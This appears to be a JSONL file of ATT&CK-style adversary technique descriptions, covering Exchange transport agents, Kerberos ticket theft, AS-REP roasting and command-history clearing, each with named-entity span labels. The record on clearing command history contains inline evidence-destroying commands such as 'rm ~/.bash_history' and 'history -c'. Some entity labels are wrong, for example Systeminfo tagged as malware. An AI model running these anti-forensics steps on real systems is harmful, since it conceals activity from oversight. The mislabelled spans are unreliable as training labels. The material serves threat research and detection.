+{"text": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails. Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events. Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.", "spans": {"SYSTEM: Exchange Server": [[722, 737]], "SYSTEM: Microsoft Exchange": [[92, 110]], "SYSTEM: .NET": [[437, 441]], "ORGANIZATION: Microsoft": [[22, 31], [92, 101]]}, "info": {"source": "apt_reports", "name": "Transport Agent"}}
+{"text": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes.\n\nTools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. <code>show version</code>). On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.\n\nSystem Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.", "spans": {"SYSTEM: macOS": [[671, 676]], "SYSTEM: ESXi": [[818, 822]], "SYSTEM: GCP": [[1028, 1031]], "SYSTEM: AWS": [[1023, 1026]], "SYSTEM: Azure": [[1037, 1042]], "MALWARE: Systeminfo": [[472, 482]]}, "info": {"source": "apt_reports", "name": "System Information Discovery"}}
+{"text": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.", "spans": {"TOOL: SSH": [[601, 604]], "TOOL: RDP": [[609, 612]], "SYSTEM: SMB": [[596, 599]]}, "info": {"source": "apt_reports", "name": "Application Layer Protocol"}}
+{"text": "Adversaries may execute their own malicious payloads by hijacking how the .NET `AppDomainManager` loads assemblies. The .NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as .NET code) may be loaded into an application domain as executable code. \n\nKnown as \"AppDomainManager injection,\" adversaries may execute arbitrary code by hijacking how .NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (`.config`) or process environment variables that define .NET runtime settings may be tampered with to instruct otherwise benign .NET applications to load a malicious assembly (identified by name) into the target process.", "spans": {"SYSTEM: .NET": [[74, 78], [120, 124], [303, 307], [379, 383], [548, 552], [802, 806], [874, 878]]}, "info": {"source": "apt_reports", "name": "AppDomainManager"}}
+{"text": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.", "spans": {"TOOL: cmd": [[315, 318]]}, "info": {"source": "apt_reports", "name": "Remote Data Staging"}}
+{"text": "An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account. Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.\n \nThis account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised.  \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based  role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments. In these cases, this technique may be used in conjunction with Additional Cloud Roles.", "spans": {"SYSTEM: Kubernetes": [[309, 319], [438, 448], [797, 807], [831, 841], [861, 871]], "SYSTEM: Azure": [[855, 860]], "ORGANIZATION: Amazon": [[816, 822]], "ORGANIZATION: Elastic": [[823, 830]], "ORGANIZATION: Google": [[790, 796]]}, "info": {"source": "apt_reports", "name": "Additional Container Cluster Roles"}}
+{"text": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to System Binary Proxy Execution, adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.", "spans": {"SYSTEM: Windows": [[376, 383]]}, "info": {"source": "apt_reports", "name": "Scheduled Task/Job"}}
+{"text": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi). The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs. Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.", "spans": {"TOOL: msiexec": [[22, 29], [308, 315], [458, 465]], "SYSTEM: Windows": [[124, 131], [441, 448]], "ORGANIZATION: Microsoft": [[274, 283]]}, "info": {"source": "apt_reports", "name": "Msiexec"}}
+{"text": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them . Users have direct control over login items installed using a shared file list which are also visible in System Preferences . These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> . Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in  . The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like AppleScript can do this as well  .", "spans": {}, "info": {"source": "apt_reports", "name": "Login Item"}}
+{"text": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).", "spans": {}, "info": {"source": "apt_reports", "name": "Network Trust Dependencies"}}
+{"text": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target. This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS and NTP, though the use of several others in the wild have been documented.  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.", "spans": {"VULNERABILITY: DoS": [[54, 57], [140, 143], [643, 646]], "VULNERABILITY: denial of service": [[35, 52]]}, "info": {"source": "apt_reports", "name": "Reflection Amplification"}}
+{"text": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.", "spans": {"SYSTEM: Windows": [[166, 173]]}, "info": {"source": "apt_reports", "name": "Password Filter DLL"}}
+{"text": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.\n\nWindows Services that are run as a \"generic\" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>. The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\\System32\\`, is the default <code>ServiceDll</code> value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts. Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent Remote Desktop Protocol sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality. On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.", "spans": {"FILEPATH: %SystemRoot%\\System32\\`,": [[606, 630]], "TOOL: RDP": [[348, 351], [1341, 1344], [1527, 1530]], "TOOL: replace": [[798, 805]], "TOOL: Remote Desktop Protocol": [[1166, 1189]], "SYSTEM: Windows Server": [[166, 180]], "SYSTEM: Windows": [[166, 173], [354, 361], [1376, 1383]], "ORGANIZATION: Microsoft": [[94, 103]]}, "info": {"source": "apt_reports", "name": "Terminal Services DLL"}}
+{"text": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents. These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.\n\nAppleScripts do not need to call <code>osascript</code> to execute. However, they may be executed from within mach-O binaries by using the macOS Native APIs <code>NSAppleScript</code> or <code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute Native APIs, which otherwise would require compilation and execution in a mach-O binary file format. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via Python.", "spans": {"FILEPATH: /usr/bin/osascript</code>": [[753, 778], [1076, 1101]], "TOOL: SSH": [[1222, 1225]], "SYSTEM: macOS": [[66, 71], [952, 957], [1474, 1479]], "SYSTEM: Python": [[1767, 1773]]}, "info": {"source": "apt_reports", "name": "AppleScript"}}
+{"text": "Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms. Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application. \n\n  \nMalicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls. \n\nThe modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows.", "spans": {}, "info": {"source": "apt_reports", "name": "Software Extensions"}}
+{"text": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well. Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.", "spans": {"VULNERABILITY: DoS": [[106, 109]], "VULNERABILITY: denial of service": [[87, 104]]}, "info": {"source": "apt_reports", "name": "Service Exhaustion Flood"}}
+{"text": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.", "spans": {}, "info": {"source": "apt_reports", "name": "Compromise Hardware Supply Chain"}}
+{"text": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes. This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks. Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools.", "spans": {"SYSTEM: macOS": [[1309, 1314]], "SYSTEM: Windows": [[960, 967]], "SYSTEM: .NET": [[1300, 1304]], "ORGANIZATION: Microsoft": [[1290, 1299]]}, "info": {"source": "apt_reports", "name": "Native API"}}
+{"text": "Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials. \n\nThe <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using <code>kinit</code>, which obtains a Ticket-Granting-Ticket (TGT) for the principal; <code>klist</code>, which lists obtained tickets currently held in the credentials cache; and other built-in binaries.\n\nAdversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform Pass the Ticket attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform Privilege Escalation. Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further Lateral Movement. On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.", "spans": {"FILEPATH: /etc/krb5.conf</code>": [[336, 357]], "FILEPATH: %UID%": [[586, 591]], "SYSTEM: macOS": [[614, 619], [1374, 1379]], "SYSTEM: Kerberos": [[33, 41], [1426, 1434]], "SYSTEM: Windows": [[1326, 1333]], "SYSTEM: Linux": [[490, 495]]}, "info": {"source": "apt_reports", "name": "Ccache Files"}}
+{"text": "Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as Remote Services or External Remote Services. Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under :\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers</code>\n\nWindows may also store information about recent RDP connections in files such as <code>C:\\Users\\\\%username%\\Documents\\Default.rdp</code> and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`. Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as Disable or Modify System Firewall or tampering to enable Proxy. Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.", "spans": {"FILEPATH: C:\\Users": [[879, 887]], "FILEPATH: %username%\\Documents\\Default.rdp</code>": [[889, 928]], "FILEPATH: C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal": [[934, 986]], "FILEPATH: /var/log/`).": [[1161, 1173]], "TOOL: RDP": [[552, 555], [840, 843]], "SYSTEM: macOS": [[1021, 1026]], "SYSTEM: Windows": [[592, 599], [792, 799]], "SYSTEM: Linux": [[1031, 1036]], "ORGANIZATION: Microsoft": [[660, 669], [743, 752], [968, 977]]}, "info": {"source": "apt_reports", "name": "Clear Network Connection History and Configurations"}}
+{"text": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. \n\nPreauthentication offers protection against offline Password Cracking. When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline Password Cracking attacks similarly to Kerberoasting and expose plaintext credentials.  \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like PowerShell with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. \n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.", "spans": {"TOOL: PowerShell": [[1302, 1312]], "SYSTEM: Kerberos": [[66, 74], [114, 122]], "SYSTEM: Windows": [[1283, 1290]], "SYSTEM: LDAP": [[1321, 1325]], "VULNERABILITY: Kerberoasting": [[1069, 1082]]}, "info": {"source": "apt_reports", "name": "AS-REP Roasting"}}
+{"text": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. \n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.", "spans": {"TOOL: PowerShell": [[301, 311]], "SYSTEM: Windows": [[0, 7]], "VULNERABILITY: privilege escalation": [[778, 798]]}, "info": {"source": "apt_reports", "name": "Service Registry Permissions Weakness"}}
+{"text": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.", "spans": {}, "info": {"source": "apt_reports", "name": "Virtual Private Server"}}
+{"text": "Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.\n\nAdversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as Phishing payloads.\n\nThese scripts may also be compiled into self-contained executable payloads (`.exe`).", "spans": {"SYSTEM: Windows": [[191, 198]]}, "info": {"source": "apt_reports", "name": "AutoHotKey & AutoIT"}}
+{"text": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a Network Device CLI introduced to the system through Modify System Image to change the configuration of the device.", "spans": {}, "info": {"source": "apt_reports", "name": "Reduce Key Space"}}
+{"text": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.  \n\nAdversaries may also leverage a Network Device CLI on network devices to clear command history data (<code>clear logging</code> and/or <code>clear history</code>). On ESXi servers, command history may be manually removed from the `/var/log/shell.log` file.\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.\n\nAdversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.", "spans": {"FILEPATH: /var/log/shell.log`": [[1156, 1175]], "TOOL: PowerShell": [[1201, 1211], [1595, 1605], [1679, 1689], [1900, 1910], [1997, 2007], [2204, 2214]], "SYSTEM: macOS": [[304, 309]], "SYSTEM: ESXi": [[1092, 1096]], "SYSTEM: Windows": [[1186, 1193], [1671, 1678]], "SYSTEM: Linux": [[294, 299]], "ORGANIZATION: Microsoft": [[1661, 1670]]}, "info": {"source": "apt_reports", "name": "Clear Command History"}}
+{"text": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (`pcalua.exe`), components of the Windows Subsystem for Linux (WSL), `Scriptrunner.exe`, as well as other utilities may invoke the execution of programs and commands from a Command and Scripting Interpreter, Run window, or via scripts. Adversaries may also abuse the `ssh.exe` binary to execute malicious commands via the `ProxyCommand` and `LocalCommand` options, which can be invoked via the `-o` flag or by modifying the SSH config file.\n\nAdversaries may abuse these features for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd or file extensions more commonly associated with malicious payloads.", "spans": {"TOOL: SSH": [[719, 722]], "TOOL: pcalua": [[297, 303]], "TOOL: cmd": [[231, 234], [949, 952]], "SYSTEM: Windows": [[154, 161], [329, 336]], "SYSTEM: Group Policy": [[903, 915]], "SYSTEM: Linux": [[351, 356]], "MALWARE: Forfiles": [[249, 257]]}, "info": {"source": "apt_reports", "name": "Indirect Command Execution"}}
+{"text": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors.", "spans": {}, "info": {"source": "apt_reports", "name": "Custom Cryptographic Protocol"}}
+{"text": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.", "spans": {}, "info": {"source": "apt_reports", "name": "Revert Cloud Instance"}}
+{"text": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB. This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables. For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).", "spans": {"SYSTEM: Android": [[787, 794]], "SYSTEM: iOS": [[796, 799]]}, "info": {"source": "apt_reports", "name": "Replication Through Removable Media"}}
+{"text": "Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.", "spans": {"TOOL: cmd": [[291, 294]]}, "info": {"source": "apt_reports", "name": "Data from Local System"}}
+{"text": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows <code>copy /b</code> or <code>type</code> command to reassemble binary fragments into a malicious payload.\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "spans": {"TOOL: certutil": [[362, 370]], "SYSTEM: Windows": [[504, 511]]}, "info": {"source": "apt_reports", "name": "Deobfuscate/Decode Files or Information"}}
